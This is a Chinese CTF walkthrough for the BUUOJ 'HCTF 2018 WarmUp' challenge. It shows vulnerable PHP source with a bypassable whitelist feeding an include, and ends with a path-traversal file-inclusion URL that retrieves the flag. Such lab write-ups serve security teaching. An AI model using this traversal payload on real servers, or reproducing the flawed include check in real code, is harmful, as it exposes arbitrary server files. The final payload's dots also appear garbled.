刷题平台:https://buuoj.cn
题目地址:https://buuoj.cn/challenges#[HCTF%202018]WarmUp
解题步骤:
1、访问:http://26778d38-6a95-4982-9d92-c945c10aaafe.node3.buuoj.cn
2、出现一个滑稽头像并按快捷键F12查看源码,出现提示信息source.php
3、将/source.php复制到地址栏已有地址后面
http://26778d38-6a95-4982-9d92-c945c10aaafe.node3.buuoj.cn/source.php
访问后可看见PHP源码(可以把源码复制到本地后去分析)
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
//定义白名单,1个是source.php,1个是hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //可以直接访问hint.php
// 判断变量是否声明,判断是否为字符串
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//判断是否在白名单内
if (in_array($page, $whitelist)) {
return true;
}
//截取两个问号之间的值,该值需要在白名单参数内
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //?flag
);
//如果参数为白名单,则返回真
if (in_array($_page, $whitelist)) { //hint.php?../flag
return true;
}
//url进行解码,并截取两个问号之间的值
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//再次校验是否在白名单内
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//传递参数不能为空,要是字符串,需要经过emmm类的过滤
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
4、http://26778d38-6a95-4982-9d92-c945c10aaafe.node3.buuoj.cn/hint.php——》http://26778d38-6a95-4982-9d92-c945c10aaafe.node3.buuoj.cn/ffffllllaaaagggg
5、返回上一步进行传参http://927f3d79-e593-4f7a-ada4-c345a8b1e0b7.node3.buuoj.cn/source.php?file=hint.php
http://927f3d79-e593-4f7a-ada4-c345a8b1e0b7.node3.buuoj.cn/source.php?file=ffffllllaaaagggg
6、http://927f3d79-e593-4f7a-ada4-c345a8b1e0b7.node3.buuoj.cn/source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg
correct!